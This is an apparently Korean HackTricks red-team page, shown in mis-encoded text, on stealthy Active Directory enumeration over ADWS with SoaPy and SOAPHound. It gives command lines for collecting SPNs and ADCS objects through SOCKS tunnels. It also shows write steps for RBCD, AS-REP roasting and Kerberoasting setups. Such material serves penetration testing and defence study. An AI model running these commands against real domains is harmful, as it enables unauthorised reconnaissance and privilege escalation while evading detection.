Active Directory Web Services (ADWS) ์—ด๊ฑฐ ๋ฐ ์€๋ฐ€ ์ˆ˜์ง‘

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

ADWS๋ž€?

Active Directory Web Services (ADWS)๋Š” Windows Server 2008 R2 ์ดํ›„ ๋ชจ๋“  Domain Controller์—์„œ ๊ธฐ๋ณธ์ ์œผ๋กœ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉฐ TCP 9389๋ฅผ ๋ฆฌ์Šจํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฆ„๊ณผ ๋‹ฌ๋ฆฌ, HTTP๋Š” ์ „ํ˜€ ๊ด€์—ฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋Œ€์‹  ์ด ์„œ๋น„์Šค๋Š” LDAP ์Šคํƒ€์ผ ๋ฐ์ดํ„ฐ๋ฅผ ๋…์ ์ ์ธ .NET ํ”„๋ ˆ์ด๋ฐ ํ”„๋กœํ† ์ฝœ ์Šคํƒ์„ ํ†ตํ•ด ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค:

  • MC-NBFX โ†’ MC-NBFSE โ†’ MS-NNS โ†’ MC-NMF

ํŠธ๋ž˜ํ”ฝ์ด ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ SOAP ํ”„๋ ˆ์ž„๋“ค ์•ˆ์— ์บก์Аํ™”๋˜๊ณ  ํ”์น˜ ์•Š์€ ํฌํŠธ๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ADWS๋ฅผ ํ†ตํ•œ ์—ด๊ฑฐ๋Š” ์ „ํ†ต์ ์ธ LDAP/389 & 636 ํŠธ๋ž˜ํ”ฝ๋ณด๋‹ค ๊ฒ€์‚ฌ, ํ•„ํ„ฐ๋ง, ์‹œ๊ทธ๋‹ˆ์ฒ˜ ํƒ์ง€์˜ ๋Œ€์ƒ์ด ๋  ๊ฐ€๋Šฅ์„ฑ์ด ํ›จ์”ฌ ๋‚ฎ์Šต๋‹ˆ๋‹ค. ์šด์˜์ž ๊ด€์ ์—์„œ ์ด๋Š” ๋‹ค์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค:

  • ๋ณด๋‹ค ์€๋ฐ€ํ•œ ์ •์ฐฐ โ€“ Blue ํŒ€์€ ์ข…์ข… LDAP ์ฟผ๋ฆฌ์— ์ง‘์ค‘ํ•ฉ๋‹ˆ๋‹ค.
  • SOCKS ํ”„๋ก์‹œ๋ฅผ ํ†ตํ•ด 9389/TCP๋ฅผ ํ„ฐ๋„๋งํ•˜๋ฉด **non-Windows ํ˜ธ์ŠคํŠธ(Linux, macOS)**์—์„œ๋„ ์ˆ˜์ง‘ ๊ฐ€๋Šฅ.
  • LDAP์„ ํ†ตํ•ด ์–ป์„ ์ˆ˜ ์žˆ๋Š” ๋™์ผํ•œ ๋ฐ์ดํ„ฐ(์‚ฌ์šฉ์ž, ๊ทธ๋ฃน, ACL, ์Šคํ‚ค๋งˆ ๋“ฑ)์™€ ์“ฐ๊ธฐ ๋Šฅ๋ ฅ(์˜ˆ: RBCD์šฉ msDs-AllowedToActOnBehalfOfOtherIdentity)์„ ๊ฐ€์ง‘๋‹ˆ๋‹ค.

ADWS ์ƒํ˜ธ์ž‘์šฉ์€ WS-Enumeration ์œ„์—์„œ ๊ตฌํ˜„๋ฉ๋‹ˆ๋‹ค: ๋ชจ๋“  ์ฟผ๋ฆฌ๋Š” LDAP ํ•„ํ„ฐ/์†์„ฑ์„ ์ •์˜ํ•˜๋Š” Enumerate ๋ฉ”์‹œ์ง€๋กœ ์‹œ์ž‘ํ•ด EnumerationContext GUID๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ณ , ๊ทธ ๋’ค์— ์„œ๋ฒ„๊ฐ€ ์ •์˜ํ•œ ๊ฒฐ๊ณผ ์ฐฝ๊นŒ์ง€ ์ŠคํŠธ๋ฆฌ๋ฐํ•˜๋Š” ํ•˜๋‚˜ ์ด์ƒ์˜ Pull ๋ฉ”์‹œ์ง€๊ฐ€ ์ด์–ด์ง‘๋‹ˆ๋‹ค. Context๋Š” ์•ฝ 30๋ถ„ ํ›„ ๋งŒ๋ฃŒ๋˜๋ฏ€๋กœ, ํˆด์€ ๊ฒฐ๊ณผ๋ฅผ ํŽ˜์ด์ง€ํ™”ํ•˜๊ฑฐ๋‚˜ ์ƒํƒœ ์†์‹ค์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ํ•„ํ„ฐ๋ฅผ ๋ถ„ํ• (์˜ˆ: CN๋ณ„ ์ ‘๋‘์‚ฌ ์ฟผ๋ฆฌ)ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋ณด์•ˆ ๊ธฐ์ˆ ์ž๋ฅผ ์š”์ฒญํ•  ๋•Œ๋Š” SACL์„ ์ƒ๋žตํ•˜๋ ค๋ฉด LDAP_SERVER_SD_FLAGS_OID ์ปจํŠธ๋กค์„ ์ง€์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ADWS๋Š” SOAP ์‘๋‹ต์—์„œ ๋‹จ์ˆœํžˆ nTSecurityDescriptor ์†์„ฑ์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ : ADWS๋Š” ๋งŽ์€ RSAT GUI/PowerShell ๋„๊ตฌ์—์„œ๋„ ์‚ฌ์šฉ๋˜๋ฏ€๋กœ ํŠธ๋ž˜ํ”ฝ์ด ํ•ฉ๋ฒ•์ ์ธ ๊ด€๋ฆฌ์ž ํ™œ๋™๊ณผ ์„ž์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

SoaPy โ€“ ๋„ค์ดํ‹ฐ๋ธŒ Python ํด๋ผ์ด์–ธํŠธ

SoaPy๋Š” pure Python์œผ๋กœ ADWS ํ”„๋กœํ† ์ฝœ ์Šคํƒ์„ ์™„์ „ ์žฌ๊ตฌํ˜„ํ•œ ๊ตฌํ˜„์ฒด์ž…๋‹ˆ๋‹ค. NBFX/NBFSE/NNS/NMF ํ”„๋ ˆ์ž„์„ ๋ฐ”์ดํŠธ ๋‹จ์œ„๋กœ ์ƒ์„ฑํ•˜์—ฌ .NET ๋Ÿฐํƒ€์ž„์— ์†๋Œ€์ง€ ์•Š๊ณ  Unix ๊ณ„์—ด ์‹œ์Šคํ…œ์—์„œ ์ˆ˜์ง‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฃผ์š” ๊ธฐ๋Šฅ

  • SOCKS๋ฅผ ํ†ตํ•œ ํ”„๋ก์‹œ ์ง€์› (C2 implants์—์„œ ์œ ์šฉ).
  • LDAP -q '(objectClass=user)'์™€ ๋™์ผํ•œ ์„ธ๋ถ„ํ™”๋œ ๊ฒ€์ƒ‰ ํ•„ํ„ฐ.
  • ์„ ํƒ์  ์“ฐ๊ธฐ ์ž‘์—…( --set / --delete ).
  • BloodHound๋กœ ์ง์ ‘ ์ธ์ œ์ŠคํŠธํ•˜๊ธฐ ์œ„ํ•œ BOFHound ์ถœ๋ ฅ ๋ชจ๋“œ.
  • ์‚ฌ๋žŒ์ด ์ฝ๊ธฐ ์ข‹๊ฒŒ ๋งŒ๋“ค๊ธฐ ์œ„ํ•œ --parse ํ”Œ๋ž˜๊ทธ(ํƒ€์ž„์Šคํƒฌํ”„ / userAccountControl ์ •๋ฆฌ).

๋Œ€์ƒ ์ˆ˜์ง‘ ํ”Œ๋ž˜๊ทธ ๋ฐ ์“ฐ๊ธฐ ์ž‘์—…

SoaPy๋Š” ADWS ์œ„์—์„œ ๊ฐ€์žฅ ์ผ๋ฐ˜์ ์ธ LDAP ํ—ŒํŒ… ์ž‘์—…์„ ์žฌํ˜„ํ•˜๋Š” ์—„์„ ๋œ ์Šค์œ„์น˜๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค: --users, --computers, --groups, --spns, --asreproastable, --admins, --constrained, --unconstrained, --rbcds ๋ฐ ์ปค์Šคํ…€ ํ’€์„ ์œ„ํ•œ ๋กœ์šฐ --query / --filter ์˜ต์…˜. ์ด๋ฅผ --rbcd <source>( msDs-AllowedToActOnBehalfOfOtherIdentity ์„ค์ •), --spn <service/cn>(๋Œ€์ƒ Kerberoasting์„ ์œ„ํ•œ SPN ์Šคํ…Œ์ด์ง•), --asrep(userAccountControl์—์„œ DONT_REQ_PREAUTH ํ”Œ๋ฆฝ) ๊ฐ™์€ ์“ฐ๊ธฐ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ์™€ ์ง์ง€์–ด ์‚ฌ์šฉํ•˜์„ธ์š”.

๋‹ค์Œ์€ samAccountName๊ณผ servicePrincipalName๋งŒ ๋ฐ˜ํ™˜ํ•˜๋Š” ๋Œ€์ƒ SPN ๊ฒ€์ƒ‰ ์˜ˆ์‹œ:

soapy corp.local/alice:'Winter2025!'@dc01.corp.local \
--spns -f samAccountName,servicePrincipalName --parse

๊ฐ™์€ ํ˜ธ์ŠคํŠธ/์ž๊ฒฉ์ฆ๋ช…์„ ์‚ฌ์šฉํ•ด ๋ฐœ๊ฒฌ๋ฌผ์„ ์ฆ‰์‹œ weaponiseํ•˜์„ธ์š”: --rbcds๋กœ RBCD-capable objects๋ฅผ dumpํ•œ ๋‹ค์Œ --rbcd 'WEBSRV01$' --account 'FILE01$'๋ฅผ applyํ•˜์—ฌ Resource-Based Constrained Delegation chain์„ stageํ•˜์„ธ์š” (์ „์ฒด ์•…์šฉ ๊ฒฝ๋กœ๋Š” Resource-Based Constrained Delegation ์ฐธ์กฐ).

์„ค์น˜ (์šด์˜์ž ํ˜ธ์ŠคํŠธ)

python3 -m pip install soapy-adws   # or git clone && pip install -r requirements.txt

SOAPHound โ€“ ๋Œ€๊ทœ๋ชจ ADWS ์ˆ˜์ง‘ (Windows)

FalconForce SOAPHound๋Š” .NET ์ˆ˜์ง‘๊ธฐ๋กœ, ๋ชจ๋“  LDAP ์ƒํ˜ธ์ž‘์šฉ์„ ADWS ๋‚ด๋ถ€์— ์œ ์ง€ํ•˜๊ณ  BloodHound v4-compatible JSON์„ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค. ํ•œ ๋ฒˆ (--buildcache) objectSid, objectGUID, distinguishedName ๋ฐ objectClass์˜ ์ „์ฒด ์บ์‹œ๋ฅผ ์ƒ์„ฑํ•œ ๋‹ค์Œ, ์ด๋ฅผ ๊ณ ์šฉ๋Ÿ‰ --bhdump, --certdump (ADCS), ๋˜๋Š” --dnsdump (AD-integrated DNS) ์ž‘์—…์— ์žฌ์‚ฌ์šฉํ•˜์—ฌ DC์—์„œ ๋‚˜๊ฐ€๋Š” ์†์„ฑ์€ ์•ฝ 35๊ฐœ์˜ ํ•ต์‹ฌ ์†์„ฑ์œผ๋กœ๋งŒ ์ œํ•œ๋ฉ๋‹ˆ๋‹ค. AutoSplit (--autosplit --threshold <N>)์€ CN ์ ‘๋‘์‚ฌ๋ณ„๋กœ ์ฟผ๋ฆฌ๋ฅผ ์ž๋™์œผ๋กœ ์ƒค๋”ฉํ•˜์—ฌ ํฐ ํฌ๋ฆฌ์ŠคํŠธ์—์„œ 30๋ถ„ EnumerationContext ํƒ€์ž„์•„์›ƒ์„ ๋„˜์ง€ ์•Š๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.

๋„๋ฉ”์ธ์— ์กฐ์ธ๋œ operator VM์—์„œ์˜ ์ผ๋ฐ˜์ ์ธ ์›Œํฌํ”Œ๋กœ:

# Build cache (JSON map of every object SID/GUID)
SOAPHound.exe --buildcache -c C:\temp\corp-cache.json

# BloodHound collection in autosplit mode, skipping LAPS noise
SOAPHound.exe -c C:\temp\corp-cache.json --bhdump \
--autosplit --threshold 1200 --nolaps \
-o C:\temp\BH-output

# ADCS & DNS enrichment for ESC chains
SOAPHound.exe -c C:\temp\corp-cache.json --certdump -o C:\temp\BH-output
SOAPHound.exe --dnsdump -o C:\temp\dns-snapshot

๋‚ด๋ณด๋‚ธ JSON์€ SharpHound/BloodHound ์›Œํฌํ”Œ๋กœ์šฐ๋กœ ์ง์ ‘ ๋„ฃ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹คโ€”ํ•˜๋ฅ˜ ๊ทธ๋ž˜ํ”„ ์•„์ด๋””์–ด๋Š” BloodHound methodology๋ฅผ ์ฐธ๊ณ ํ•˜์„ธ์š”. AutoSplit์€ SOAPHound๋ฅผ ์ˆ˜๋ฐฑ๋งŒ ๊ฐ์ฒด ํฌ๋ฆฌ์ŠคํŠธ์—์„œ๋„ ๊ฒฌ๊ณ ํ•˜๊ฒŒ ๋งŒ๋“ค๋ฉฐ ADExplorer-style ์Šค๋ƒ…์ƒท๋ณด๋‹ค ์ฟผ๋ฆฌ ์ˆ˜๋ฅผ ๋” ์ ๊ฒŒ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค.

์Šคํ…”์Šค AD ์ˆ˜์ง‘ ์›Œํฌํ”Œ๋กœ์šฐ

๋‹ค์Œ ์›Œํฌํ”Œ๋กœ์šฐ๋Š” ADWS๋ฅผ ํ†ตํ•ด ๋„๋ฉ”์ธ & ADCS ๊ฐ์ฒด๋ฅผ ์—ด๊ฑฐํ•˜๊ณ , ์ด๋ฅผ BloodHound JSON์œผ๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ ์ธ์ฆ์„œ ๊ธฐ๋ฐ˜ ๊ณต๊ฒฉ ๊ฒฝ๋กœ๋ฅผ ํƒ์ƒ‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค โ€“ ๋ชจ๋‘ Linux์—์„œ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค:

  1. ํƒ€๊ฒŸ ๋„คํŠธ์›Œํฌ์—์„œ ์ž์‹ ์˜ ๋จธ์‹ ์œผ๋กœ 9389/TCP๋ฅผ ํ„ฐ๋„๋ง (์˜ˆ: Chisel, Meterpreter, SSH ๋™์  ํฌํŠธ ํฌ์›Œ๋”ฉ ๋“ฑ). ํ™˜๊ฒฝ ๋ณ€์ˆ˜ export HTTPS_PROXY=socks5://127.0.0.1:1080๋ฅผ ์„ค์ •ํ•˜๊ฑฐ๋‚˜ SoaPy์˜ --proxyHost/--proxyPort๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

  2. ๋ฃจํŠธ ๋„๋ฉ”์ธ ๊ฐ์ฒด ์ˆ˜์ง‘:

soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
  1. Configuration NC์—์„œ ADCS ๊ด€๋ จ ๊ฐ์ฒด ์ˆ˜์ง‘:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
  1. BloodHound๋กœ ๋ณ€ํ™˜:
bofhound -i data --zip   # produces BloodHound.zip
  1. ZIP ํŒŒ์ผ ์—…๋กœ๋“œ๋ฅผ BloodHound GUI์—์„œ ์ˆ˜ํ–‰ํ•˜๊ณ  MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c ๊ฐ™์€ cypher ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์ธ์ฆ์„œ ๊ถŒํ•œ ์ƒ์Šน ๊ฒฝ๋กœ(ESC1, ESC8 ๋“ฑ)๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

์“ฐ๊ธฐ msDs-AllowedToActOnBehalfOfOtherIdentity (RBCD)

soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'

์ด๊ฒƒ์„ s4u2proxy/Rubeus /getticket์™€ ๊ฒฐํ•ฉํ•˜์—ฌ ์ „์ฒด Resource-Based Constrained Delegation ์ฒด์ธ์„ ๊ตฌ์„ฑํ•˜์„ธ์š” (์ž์„ธํ•œ ๋‚ด์šฉ์€ Resource-Based Constrained Delegation ์ฐธ์กฐ).

๋„๊ตฌ ์š”์•ฝ

๋ชฉ์ ๋„๊ตฌ๋น„๊ณ 
ADWS enumerationSoaPyPython, SOCKS, read/write
High-volume ADWS dumpSOAPHound.NET, cache-first, BH/ADCS/DNS modes
BloodHound ingestBOFHoundConverts SoaPy/ldapsearch logs
Cert compromiseCertipyCan be proxied through same SOCKS

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ